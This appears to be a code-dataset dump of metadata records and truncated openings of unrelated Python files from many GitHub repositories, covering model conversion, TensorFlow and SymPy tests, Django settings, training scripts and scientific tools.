null
null
tools/deployment/onnx2tensorrt.py
yefangok/mmocr
ee185c17d6097c4a9ffeaec41f9cb1d271568074
[ "Apache-2.0" ]
null
null
null
import argparse import os import os.path as osp from typing import Iterable import cv2 import mmcv import numpy as np import torch from mmcv.parallel import collate from mmcv.tensorrt import is_tensorrt_plugin_loaded, onnx2trt, save_trt_engine from tools.deployment.deploy_helper import (ONNXRuntimeDetector, ...
33.183007
79
0.575044
de3731765a9c05654b92b1088fc2c2b6bd1d4e27
9,949
py
Python
tensorflow/python/kernel_tests/tridiagonal_matmul_op_test.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
848
2019-12-03T00:16:17.000Z
2022-03-31T22:53:17.000Z
tensorflow/python/kernel_tests/tridiagonal_matmul_op_test.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
656
2019-12-03T00:48:46.000Z
2022-03-31T18:41:54.000Z
tensorflow/python/kernel_tests/tridiagonal_matmul_op_test.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
506
2019-12-03T00:46:26.000Z
2022-03-30T10:34:56.000Z
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
40.279352
80
0.617751
891123d2dcc9d90c02e640fa8da804e2085ff9af
114
py
Python
pysparse/itsolvers/__init__.py
heeryerate/pysparse
24e9cdae16f1348094386abbfb7924329eee62de
[ "BSD-2-Clause-FreeBSD" ]
6
2016-07-28T22:38:42.000Z
2022-02-06T18:41:27.000Z
pysparse/itsolvers/__init__.py
heeryerate/pysparse
24e9cdae16f1348094386abbfb7924329eee62de
[ "BSD-2-Clause-FreeBSD" ]
4
2016-06-25T23:16:58.000Z
2020-08-12T16:28:05.000Z
pysparse/itsolvers/__init__.py
heeryerate/pysparse
24e9cdae16f1348094386abbfb7924329eee62de
[ "BSD-2-Clause-FreeBSD" ]
10
2017-01-31T23:58:44.000Z
2022-03-05T11:36:31.000Z
""" Iterative Solvers. """ from itsolvers_util import * __all__ = filter(lambda s:not s.startswith('_'), dir())
14.25
55
0.684211
369c7f37278c40dec2c0d4b9ee77e9e068bbca7b
3,188
py
Python
app/app/settings.py
abhichandr/recipe-app-api
5b482d3406310aa37fb92481186c21def3c13016
[ "MIT" ]
null
null
null
app/app/settings.py
abhichandr/recipe-app-api
5b482d3406310aa37fb92481186c21def3c13016
[ "MIT" ]
null
null
null
app/app/settings.py
abhichandr/recipe-app-api
5b482d3406310aa37fb92481186c21def3c13016
[ "MIT" ]
null
null
null
""" Django settings for app project. Generated by 'django-admin startproject' using Django 3.0.6. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os # Bui...
25.301587
91
0.698243
bc07c550c9351b289d7c8f5b1d2bcf1e0d560c2e
6,685
py
Python
train.py
akki3d76/multi-class-text-classification-cnn-rnn
b9cf4d0bf4ac4d1bfc8fe9c258ea678bb2e53dd5
[ "Apache-2.0" ]
640
2016-11-16T19:00:56.000Z
2022-01-02T19:23:19.000Z
train.py
akki3d76/multi-class-text-classification-cnn-rnn
b9cf4d0bf4ac4d1bfc8fe9c258ea678bb2e53dd5
[ "Apache-2.0" ]
36
2017-01-25T18:50:44.000Z
2020-06-03T06:17:50.000Z
train.py
akki3d76/multi-class-text-classification-cnn-rnn
b9cf4d0bf4ac4d1bfc8fe9c258ea678bb2e53dd5
[ "Apache-2.0" ]
299
2016-11-15T14:31:09.000Z
2022-01-02T19:23:20.000Z
import os import sys import json import time import shutil import pickle import logging import data_helper import numpy as np import pandas as pd import tensorflow as tf from text_cnn_rnn import TextCNNRNN from sklearn.model_selection import train_test_split logging.getLogger().setLevel(logging.INFO) def train_cnn_rn...
41.521739
114
0.733732
5db2f1dd9225e13f349a7b227cec5bd48c94f748
620
py
Python
Basic/typeDemo.py
Keyxllai/PythonCook
cc81220ebcdf28f62e893abe89cc6ed5d77eb382
[ "MIT" ]
null
null
null
Basic/typeDemo.py
Keyxllai/PythonCook
cc81220ebcdf28f62e893abe89cc6ed5d77eb382
[ "MIT" ]
null
null
null
Basic/typeDemo.py
Keyxllai/PythonCook
cc81220ebcdf28f62e893abe89cc6ed5d77eb382
[ "MIT" ]
null
null
null
import types import datetime ''' ''' def show_type(val): if val is None: return val_type, val_mem_id = type(val), id(val) print(u"value: {val}, type: {val_type}, memery: {id}".format( val_type=val_type, val=val, id=val_mem_id)) def fun(): pass class Person(object): ...
19.375
65
0.61129
ca95da5970c5638a10e0ce28eb441a93169ea239
3,522
py
Python
test/test_charvars.py
randallpittman/cdlparser
48687e874ab687ea131959f4cf5f6950828baf94
[ "BSD-3-Clause" ]
null
null
null
test/test_charvars.py
randallpittman/cdlparser
48687e874ab687ea131959f4cf5f6950828baf94
[ "BSD-3-Clause" ]
null
null
null
test/test_charvars.py
randallpittman/cdlparser
48687e874ab687ea131959f4cf5f6950828baf94
[ "BSD-3-Clause" ]
null
null
null
""" Unit tests for various types of character variable. """ import os import tempfile import unittest import cdlparser import numpy as np import netCDF4 as nc4 #--------------------------------------------------------------------------------------------------- class TestCharVars(unittest.TestCase) : #-----------------...
36.309278
100
0.509654
31e8caf9e978c2bcca8742f6771ee2228519367b
424
py
Python
tests/_async/test_tee.py
christopher-henderson/PyStream
8c76a634448d98591aa68087bf78c6cd4da6a6b7
[ "MIT" ]
null
null
null
tests/_async/test_tee.py
christopher-henderson/PyStream
8c76a634448d98591aa68087bf78c6cd4da6a6b7
[ "MIT" ]
12
2020-10-10T14:28:10.000Z
2020-10-28T05:42:34.000Z
tests/_async/test_tee.py
christopher-henderson/PyStream
8c76a634448d98591aa68087bf78c6cd4da6a6b7
[ "MIT" ]
null
null
null
import unittest from pstream import AsyncStream from tests._async.utils import run_to_completion class TestTee(unittest.TestCase): @run_to_completion async def test_tee(self): a = list() b = list() got = await AsyncStream(range(5)).map(lambda x: x * 2).tee(a, b).collect() sel...
21.2
82
0.653302
fe895670f1302054a40525fb19ac940d29fcb276
5,660
py
Python
build/android/update_verification.py
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
5
2015-04-30T00:13:21.000Z
2019-07-10T02:17:24.000Z
build/android/update_verification.py
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
1
2018-02-10T21:00:08.000Z
2018-03-20T05:09:50.000Z
build/android/update_verification.py
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
5
2016-12-23T04:21:10.000Z
2020-06-18T13:52:33.000Z
#!/usr/bin/env python # # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Runs semi-automated update testing on a non-rooted device.""" import logging import optparse import os import shutil import sys im...
40.141844
80
0.679329
3dc3bec3cd90f207ddfbcbf46fd2bd86976f42a3
226
py
Python
lino_book/projects/igen/models.py
khchine5/book
b6272d33d49d12335d25cf0a2660f7996680b1d1
[ "BSD-2-Clause" ]
1
2018-01-12T14:09:58.000Z
2018-01-12T14:09:58.000Z
lino_book/projects/igen/models.py
khchine5/book
b6272d33d49d12335d25cf0a2660f7996680b1d1
[ "BSD-2-Clause" ]
4
2018-02-06T19:53:10.000Z
2019-08-01T21:47:44.000Z
lino_book/projects/igen/models.py
khchine5/book
b6272d33d49d12335d25cf0a2660f7996680b1d1
[ "BSD-2-Clause" ]
null
null
null
# Copyright 2008-2013 Luc Saffre # License: BSD (see file COPYING for details) """ """ from django.db import models from django.utils.translation import ugettext_lazy as _ from lino.api import dd, rt from lino import mixins
20.545455
55
0.765487
553c3201340227b17ce2ffb0c982ec12b2a3ec68
12,806
py
Python
tests/manage/pv_services/test_ceph_daemon_kill_during_resource_creation.py
annagitel/ocs-ci
284fe04aeb6e3d6cb70c99e65fec8ff1b1ea1dd5
[ "MIT" ]
130
2019-04-08T06:22:53.000Z
2022-03-23T06:11:19.000Z
tests/manage/pv_services/test_ceph_daemon_kill_during_resource_creation.py
annagitel/ocs-ci
284fe04aeb6e3d6cb70c99e65fec8ff1b1ea1dd5
[ "MIT" ]
4,359
2019-04-09T18:48:47.000Z
2022-03-31T20:04:55.000Z
tests/manage/pv_services/test_ceph_daemon_kill_during_resource_creation.py
annagitel/ocs-ci
284fe04aeb6e3d6cb70c99e65fec8ff1b1ea1dd5
[ "MIT" ]
183
2019-04-18T15:55:30.000Z
2022-03-11T06:16:50.000Z
import logging from concurrent.futures import ThreadPoolExecutor import pytest from functools import partial from ocs_ci.framework.testlib import ManageTest, tier4, tier4b from ocs_ci.framework import config from ocs_ci.ocs import constants, node from ocs_ci.ocs.resources.pvc import get_all_pvcs from ocs_ci.ocs.resour...
36.798851
87
0.584414
ffdd8f3bc43f8ee29aa4a1bc846f7a0067416425
1,854
py
Python
question23.py
larkaa/project_euler
a3d980b0436cfaac0dd0b3c9fb6025b5713f8397
[ "MIT" ]
null
null
null
question23.py
larkaa/project_euler
a3d980b0436cfaac0dd0b3c9fb6025b5713f8397
[ "MIT" ]
null
null
null
question23.py
larkaa/project_euler
a3d980b0436cfaac0dd0b3c9fb6025b5713f8397
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 #question 23 non-abundant sums # a perfect number is equal to the sum of it's proper divisors # 28 = 1+2+4+7+14 # n is deficient if the sum of it's proper divisors is less than n # n '' abundant if the sum is greater than n # 12 is the smallest abundant number # 24 is the smallest sum of 2 ab...
24.077922
67
0.694175
ace55834c5fc174bacbaa27b3a92528ded28e3c2
22,643
py
Python
test/TemplateUtil_test.py
msneddon/KBaseReport
b8bb470a4c88d65230e525db48d6a3730069185d
[ "MIT" ]
null
null
null
test/TemplateUtil_test.py
msneddon/KBaseReport
b8bb470a4c88d65230e525db48d6a3730069185d
[ "MIT" ]
15
2017-03-10T21:15:44.000Z
2021-07-08T21:43:56.000Z
test/TemplateUtil_test.py
msneddon/KBaseReport
b8bb470a4c88d65230e525db48d6a3730069185d
[ "MIT" ]
9
2017-01-20T18:27:06.000Z
2021-01-05T17:52:38.000Z
# -*- coding: utf-8 -*- import contextlib import json import os import re import unittest from configparser import ConfigParser from template import Template from template.util import TemplateException from uuid import uuid4 from KBaseReport.KBaseReportImpl import KBaseReport from KBaseReport.utils.TemplateUtil impor...
39.310764
100
0.574173
43f1ff8e6ced9243ab5a3fd941ebd3b51589271b
791
py
Python
horseradish/extensions.py
havron/horseradish
0d2b2a87e3a4c4436a9f31e74313a67afc855461
[ "Apache-2.0" ]
null
null
null
horseradish/extensions.py
havron/horseradish
0d2b2a87e3a4c4436a9f31e74313a67afc855461
[ "Apache-2.0" ]
null
null
null
horseradish/extensions.py
havron/horseradish
0d2b2a87e3a4c4436a9f31e74313a67afc855461
[ "Apache-2.0" ]
null
null
null
""" .. module: horseradish.extensions :copyright: (c) 2020 by Sam Havron. see AUTHORS for more. :license: Apache, see LICENSE for details. """ from flask_sqlalchemy import SQLAlchemy as SA class SQLAlchemy(SA): def apply_pool_defaults(self, app, options): SA.apply_pool_defaults(self, app, options...
17.577778
61
0.742099
41cdc2dfa31b953349cfb63cb93bd0b732975174
1,391
py
Python
neutronclient/neutron/v2_0/midonet/cluster.py
midonet/python-neutronclient
73bf124f926f73c915e4412b527e024a1e5c2338
[ "Apache-2.0" ]
1
2019-11-24T20:14:57.000Z
2019-11-24T20:14:57.000Z
neutronclient/neutron/v2_0/midonet/cluster.py
midonet/python-neutronclient
73bf124f926f73c915e4412b527e024a1e5c2338
[ "Apache-2.0" ]
null
null
null
neutronclient/neutron/v2_0/midonet/cluster.py
midonet/python-neutronclient
73bf124f926f73c915e4412b527e024a1e5c2338
[ "Apache-2.0" ]
null
null
null
# Copyright 2014 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
30.911111
76
0.693027
502b9a58692feb258172e69d85682592b05c762d
1,851
py
Python
data/downscale.py
xbankov/calamari
f5d40bbd5f31bb2edc09edbab1790b83f61a186f
[ "Apache-2.0" ]
null
null
null
data/downscale.py
xbankov/calamari
f5d40bbd5f31bb2edc09edbab1790b83f61a186f
[ "Apache-2.0" ]
null
null
null
data/downscale.py
xbankov/calamari
f5d40bbd5f31bb2edc09edbab1790b83f61a186f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 import shutil from pathlib import Path import cv2 from tqdm import tqdm from cfg import MANUAL_SPLITS def downscale_set(old, new, scale=4): new.mkdir(parents=True, exist_ok=True) all_missing = [] for folder in old.iterdir(): missing = [] (new / folder.name).mkdir...
34.924528
95
0.567801
e64d51d9f4bca54c32404a100e94ba2ef7ae542e
401
py
Python
atlantisbot_api/migrations/0007_discorduser_clan.py
johnvictorfs/atlantisbot-api
1a00ae33497b5c5bf51d7bac154e96d4d9ab534b
[ "MIT" ]
null
null
null
atlantisbot_api/migrations/0007_discorduser_clan.py
johnvictorfs/atlantisbot-api
1a00ae33497b5c5bf51d7bac154e96d4d9ab534b
[ "MIT" ]
null
null
null
atlantisbot_api/migrations/0007_discorduser_clan.py
johnvictorfs/atlantisbot-api
1a00ae33497b5c5bf51d7bac154e96d4d9ab534b
[ "MIT" ]
null
null
null
# Generated by Django 2.2.16 on 2020-11-23 12:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('atlantisbot_api', '0006_auto_20201109_1903'), ] operations = [ migrations.AddField( model_name='discorduser', name=...
21.105263
55
0.608479
5f15634a2ad4309bc8a6b957730564e51f268290
23,098
py
Python
dm_control/mujoco/engine_test.py
mhauskn/dm_control
b7944e0ed4392924f40a3e5c65b1a93c027b9718
[ "Apache-2.0" ]
2
2021-06-21T05:19:01.000Z
2021-07-02T14:51:16.000Z
dm_control/mujoco/engine_test.py
akssri/dm_control
1a0914f8df414685f1b336838e39e36fd378e0b9
[ "Apache-2.0" ]
null
null
null
dm_control/mujoco/engine_test.py
akssri/dm_control
1a0914f8df414685f1b336838e39e36fd378e0b9
[ "Apache-2.0" ]
2
2019-12-10T21:38:03.000Z
2020-12-22T08:42:45.000Z
# Copyright 2017 The dm_control Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
41.618018
80
0.686596
db1568e54296f2b0e733838cf37e0a1cc68a4997
10,873
py
Python
agents/train2.py
facebookresearch/phyre-fwd
18eb9d5849a22172c8e6b92b2a6453b3931b7781
[ "Apache-2.0" ]
9
2021-03-31T14:30:17.000Z
2022-02-22T09:41:25.000Z
agents/train2.py
facebookresearch/phyre-fwd
18eb9d5849a22172c8e6b92b2a6453b3931b7781
[ "Apache-2.0" ]
1
2021-04-23T11:52:56.000Z
2022-03-02T03:30:10.000Z
agents/train2.py
facebookresearch/phyre-fwd
18eb9d5849a22172c8e6b92b2a6453b3931b7781
[ "Apache-2.0" ]
2
2021-06-23T20:05:46.000Z
2021-11-05T18:05:07.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
42.307393
80
0.63837
d6fc9f9c87e5c5c13f66a52797b9a2afd4848d76
649
py
Python
sensors/migrations/0002_organisation.py
ballarat-hackerspace/sensor_website
af73fee52f34954a0fb6b697526522a8a2815628
[ "Apache-2.0" ]
null
null
null
sensors/migrations/0002_organisation.py
ballarat-hackerspace/sensor_website
af73fee52f34954a0fb6b697526522a8a2815628
[ "Apache-2.0" ]
null
null
null
sensors/migrations/0002_organisation.py
ballarat-hackerspace/sensor_website
af73fee52f34954a0fb6b697526522a8a2815628
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-11-06 03:05 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('sensors', '0001_initial'), ] operations = [ migrations.CreateModel( ...
27.041667
114
0.597843
253f72e7ebdcfa24a01c220b0a829b174d05aec4
5,508
py
Python
contrib/seeds/makeseeds.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
4
2019-07-07T13:28:08.000Z
2020-06-04T18:02:27.000Z
contrib/seeds/makeseeds.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
null
null
null
contrib/seeds/makeseeds.py
dmitriy79/IDC-CORE
211f7a7470cd341aa322166619bfca57d75260b8
[ "MIT" ]
2
2020-03-07T02:25:32.000Z
2020-03-18T22:31:40.000Z
#!/usr/bin/env python3 # Copyright (c) 2013-2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Generate seeds.txt from Pieter's DNS seeder # NSEEDS=512 MAX_SEEDS_PER_ASN=2 MIN_BLOCKS = 4800 # T...
32.023256
186
0.567175
2c0d5a11600356617d7608832a4fadfdeb5eef14
285
py
Python
ros_sample/cv_cam_test/scripts/cam_test.py
shirota1526064/Sample-code
3b9ea7929d6b1fc8047475ec958707a9acea2a02
[ "BSD-2-Clause" ]
null
null
null
ros_sample/cv_cam_test/scripts/cam_test.py
shirota1526064/Sample-code
3b9ea7929d6b1fc8047475ec958707a9acea2a02
[ "BSD-2-Clause" ]
null
null
null
ros_sample/cv_cam_test/scripts/cam_test.py
shirota1526064/Sample-code
3b9ea7929d6b1fc8047475ec958707a9acea2a02
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python import rospy from cv_cam_test.image_converter import Image_converter def main(): rospy.init_node("cv_cam_test") converter = Image_converter() try: rospy.spin() except KeyboardInterrupt: pass if __name__ == "__main__": main()
19
55
0.680702
3ab106cada75cd4c4ec620fb21a68d0532a03274
4,494
py
Python
p09-learning-curves.py
Wiszp/cs451-practicals
10af350c5d2d5bb1a386bf26270d6b8eb5a063c4
[ "BSD-3-Clause" ]
null
null
null
p09-learning-curves.py
Wiszp/cs451-practicals
10af350c5d2d5bb1a386bf26270d6b8eb5a063c4
[ "BSD-3-Clause" ]
null
null
null
p09-learning-curves.py
Wiszp/cs451-practicals
10af350c5d2d5bb1a386bf26270d6b8eb5a063c4
[ "BSD-3-Clause" ]
null
null
null
# Author: Jack English (Skeleton provided by Professor Foley) # CSCI 451 Practical 09 # April 6th, 2021 import numpy as np from sklearn.model_selection import train_test_split from sklearn.feature_extraction import DictVectorizer from sklearn.linear_model import SGDClassifier from shared import dataset_local_path, sim...
35.385827
92
0.716066
0c85f945ba60fa5d928812d5a6003207e316c215
2,723
py
Python
addons/io_scene_gltf2/blender/com/gltf2_blender_conversion.py
xissburg/glTF-Blender-IO
b35e27dcbc0e01fd1cca59255dbf1754eec55eb4
[ "Apache-2.0" ]
25
2018-10-12T08:45:45.000Z
2021-02-27T15:29:56.000Z
addons/io_scene_gltf2/blender/com/gltf2_blender_conversion.py
xissburg/glTF-Blender-IO
b35e27dcbc0e01fd1cca59255dbf1754eec55eb4
[ "Apache-2.0" ]
1
2019-06-03T20:16:21.000Z
2019-06-03T20:44:41.000Z
addons/io_scene_gltf2/blender/com/gltf2_blender_conversion.py
Svrf/glTF-Blender-IO
c539fcedabdc5c5b77d7919a39f352ac330f6985
[ "Apache-2.0" ]
4
2019-02-03T12:33:55.000Z
2021-01-04T11:19:25.000Z
# Copyright 2018-2019 The glTF-Blender-IO authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
32.807229
85
0.65773
2ce92c67b2aec85e81a610ed9ea3adb2680cb4ea
971
py
Python
flask_quick/exceptions/__init__.py
datochan/python-flask-quick-start
a5c8dfa6de47122fdf5aca0288ec29adc2a8264c
[ "MIT" ]
null
null
null
flask_quick/exceptions/__init__.py
datochan/python-flask-quick-start
a5c8dfa6de47122fdf5aca0288ec29adc2a8264c
[ "MIT" ]
null
null
null
flask_quick/exceptions/__init__.py
datochan/python-flask-quick-start
a5c8dfa6de47122fdf5aca0288ec29adc2a8264c
[ "MIT" ]
null
null
null
from .api import APIException class ParameterException(APIException): code = 400 service_code = 4000 message = '提交参数有误 ...' class ClientTypeError(APIException): code = 400 service_code = 4001 message = '无效请求 ...' class AuthFailed(APIException): code = 401 service_code = 4010 ...
17.654545
43
0.653965
d9e217df92d3d78c503323e843499f199f2dba18
1,175
py
Python
autolens/pipeline/phase/dataset/result.py
PyJedi/PyAutoLens
bcfb2e7b447aa24508fc648d60b6fd9b4fd852e7
[ "MIT" ]
1
2020-04-06T20:07:56.000Z
2020-04-06T20:07:56.000Z
autolens/pipeline/phase/dataset/result.py
PyJedi/PyAutoLens
bcfb2e7b447aa24508fc648d60b6fd9b4fd852e7
[ "MIT" ]
null
null
null
autolens/pipeline/phase/dataset/result.py
PyJedi/PyAutoLens
bcfb2e7b447aa24508fc648d60b6fd9b4fd852e7
[ "MIT" ]
null
null
null
from autolens.pipeline.phase import abstract class Result(abstract.result.Result): @property def most_likely_fit(self): hyper_image_sky = self.analysis.hyper_image_sky_for_instance( instance=self.instance ) hyper_background_noise = self.analysis.hyper_background_noise_for...
28.658537
84
0.690213
b6c55b5f084bdf5811453589f5f5c97533c68470
2,257
py
Python
CAIE-Notification-via-SMTP-Email/CAIE-Notification.py
YHPeter/Python-Spider
88506040e72f53fc37fca7b4df0676993c489891
[ "MIT" ]
2
2020-03-01T06:59:08.000Z
2020-03-01T06:59:15.000Z
CAIE-Notification-via-SMTP-Email/CAIE-Notification.py
YHPeter/Python-Web-Crawler
88506040e72f53fc37fca7b4df0676993c489891
[ "MIT" ]
null
null
null
CAIE-Notification-via-SMTP-Email/CAIE-Notification.py
YHPeter/Python-Web-Crawler
88506040e72f53fc37fca7b4df0676993c489891
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import re,requests,time from email.mime.text import MIMEText from email.header import Header import smtplib def send_mail(info): message ='''CAIE Publish Least News!!! The new website is: '''+info msg = MIMEText(message,'plain','utf-8') msg['Subject'] = Header("CAIE NOTIFIC...
44.254902
140
0.598582
88c0c029cd46635263b5277c561fefa6a5ed34f2
316
py
Python
project_checker/checker/project/__init__.py
zuzannnaobajtek/github-cmake-project-checker
1406c2247bbbecb490bc5000c7fa521b9bf96ec0
[ "MIT" ]
1
2017-05-17T21:21:54.000Z
2017-05-17T21:21:54.000Z
project_checker/checker/project/__init__.py
zuzannnaobajtek/github-cmake-project-checker
1406c2247bbbecb490bc5000c7fa521b9bf96ec0
[ "MIT" ]
13
2018-03-28T15:36:17.000Z
2018-04-25T16:44:00.000Z
project_checker/checker/project/__init__.py
zuzannnaobajtek/github-cmake-project-checker
1406c2247bbbecb490bc5000c7fa521b9bf96ec0
[ "MIT" ]
15
2017-05-31T11:44:20.000Z
2018-04-19T15:03:35.000Z
from project_checker.checker.project.studentproject import StudentProject from project_checker.checker.project.config import Deadlines from project_checker.checker.project.config import Groups from project_checker.checker.project.config import ProjectOwners from project_checker.checker.project.config import Config
52.666667
73
0.889241
384a060e34d7786d8d6e51c116f9e8448234b708
2,905
py
Python
src/sentry/quotas/redis.py
faulkner/sentry
f9dd4d0d7c683632cf02810c03bd42d7051ad010
[ "BSD-3-Clause" ]
null
null
null
src/sentry/quotas/redis.py
faulkner/sentry
f9dd4d0d7c683632cf02810c03bd42d7051ad010
[ "BSD-3-Clause" ]
5
2019-12-28T18:13:59.000Z
2022-03-02T04:32:45.000Z
src/sentry/quotas/redis.py
ccdlvc/report.iupdate.io
0ab451850c34af40b86eb517e39124e5b894b44b
[ "BSD-3-Clause" ]
null
null
null
""" sentry.quotas.redis ~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import import six from time import time from sentry.exceptions import InvalidConfiguration from sentry.quotas.base ...
36.3125
144
0.648537
43c66a785883c9ef21213fe1451cc4d8d4a7cfa0
10,445
py
Python
sympy/physics/mechanics/tests/test_functions.py
Timeroot/sympy
f95bf4bbc548d326f4643d22faec32aca7880187
[ "BSD-3-Clause" ]
null
null
null
sympy/physics/mechanics/tests/test_functions.py
Timeroot/sympy
f95bf4bbc548d326f4643d22faec32aca7880187
[ "BSD-3-Clause" ]
null
null
null
sympy/physics/mechanics/tests/test_functions.py
Timeroot/sympy
f95bf4bbc548d326f4643d22faec32aca7880187
[ "BSD-3-Clause" ]
null
null
null
from sympy import symbols, sin, cos from sympy.physics.mechanics import (cross, dot, dynamicsymbols, express, ReferenceFrame, inertia, kinematic_equations, Vector) Vector.simp = True q1, q2, q3, q4, q5 = symbols('q1 q2 q3 q4 q5') N = ReferenceFr...
41.448413
79
0.493825
4de9f80fbe6c6510ec7baa610134ea775c0c98f9
1,592
py
Python
hog/tests/08.py
yashgoenka/Simple-Python-Projects
55f37aab8dccca8c1c7f3bb295e5fef8f9292e37
[ "Unlicense" ]
null
null
null
hog/tests/08.py
yashgoenka/Simple-Python-Projects
55f37aab8dccca8c1c7f3bb295e5fef8f9292e37
[ "Unlicense" ]
null
null
null
hog/tests/08.py
yashgoenka/Simple-Python-Projects
55f37aab8dccca8c1c7f3bb295e5fef8f9292e37
[ "Unlicense" ]
null
null
null
test = { 'name': 'Question 8', 'points': 2, 'suites': [ { 'cases': [ { 'code': r""" >>> dice = make_test_dice(3, 1, 5, 6) >>> averaged_dice = make_averaged(dice, 1000) >>> # Average of calling dice 1000 times >>> averaged_dice() 3.75 ...
24.875
87
0.434045
b60c3f77e0c28b2c924b9f3f4e22b9bed4a0b5d2
5,562
py
Python
python/paddle/fluid/tests/unittests/interpreter/test_standalone_executor.py
shiyutang/Paddle
5c27c2c00bdb69619fa2bf715f6a0e0708579569
[ "Apache-2.0" ]
1
2021-09-03T14:11:48.000Z
2021-09-03T14:11:48.000Z
python/paddle/fluid/tests/unittests/interpreter/test_standalone_executor.py
shiyutang/Paddle
5c27c2c00bdb69619fa2bf715f6a0e0708579569
[ "Apache-2.0" ]
null
null
null
python/paddle/fluid/tests/unittests/interpreter/test_standalone_executor.py
shiyutang/Paddle
5c27c2c00bdb69619fa2bf715f6a0e0708579569
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
36.834437
91
0.596908
95d65e70e7e7c4293ad97946efe9d98cc85c9337
854
py
Python
aoj/11/aoj1126.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
1
2018-11-12T15:18:55.000Z
2018-11-12T15:18:55.000Z
aoj/11/aoj1126.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
null
null
null
aoj/11/aoj1126.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
null
null
null
drc = [(0, 1), (1, 0)] def dfs(r, c): if (r, c) in memo: return memo[r, c] ret = '' for dr, dc in drc: nr, nc = r + dr, c + dc if nr < H and nc < W and board[nr][nc].isdigit(): cand = dfs(nr, nc) if len(cand) > len(ret) or (len(cand) == len(ret) and cand > r...
26.6875
82
0.436768
a379c938de759ea4477509fb9908274287bc0dd1
4,653
py
Python
py/DREAM/Settings/Preconditioner.py
chalmersplasmatheory/DREAM
715637ada94f5e35db16f23c2fd49bb7401f4a27
[ "MIT" ]
12
2020-09-07T11:19:10.000Z
2022-02-17T17:40:19.000Z
py/DREAM/Settings/Preconditioner.py
chalmersplasmatheory/DREAM
715637ada94f5e35db16f23c2fd49bb7401f4a27
[ "MIT" ]
110
2020-09-02T15:29:24.000Z
2022-03-09T09:50:01.000Z
py/DREAM/Settings/Preconditioner.py
chalmersplasmatheory/DREAM
715637ada94f5e35db16f23c2fd49bb7401f4a27
[ "MIT" ]
3
2021-05-21T13:24:31.000Z
2022-02-11T14:43:12.000Z
# Settings for the equation system preconditioner import numpy as np from .. DREAMException import DREAMException from . import EquationSystem class Preconditioner: def __init__(self): """ Constructor. """ self.enabled = True self.overrides = [] def fromdict(se...
35.519084
157
0.575113
e7c27401f988e8f4f421f604f6ac4c94c5ca93af
4,630
py
Python
models/gdes/top_10l/top3.py
GabrieleLagani/HebbianPCA
2736bb3017fa30ad2c160c891d42361bc5894df5
[ "MIT" ]
4
2021-01-30T14:53:54.000Z
2021-03-23T09:52:18.000Z
models/gdes/top_10l/top3.py
GabrieleLagani/HebbianPCA
2736bb3017fa30ad2c160c891d42361bc5894df5
[ "MIT" ]
null
null
null
models/gdes/top_10l/top3.py
GabrieleLagani/HebbianPCA
2736bb3017fa30ad2c160c891d42361bc5894df5
[ "MIT" ]
2
2022-03-04T08:28:44.000Z
2022-03-16T19:00:34.000Z
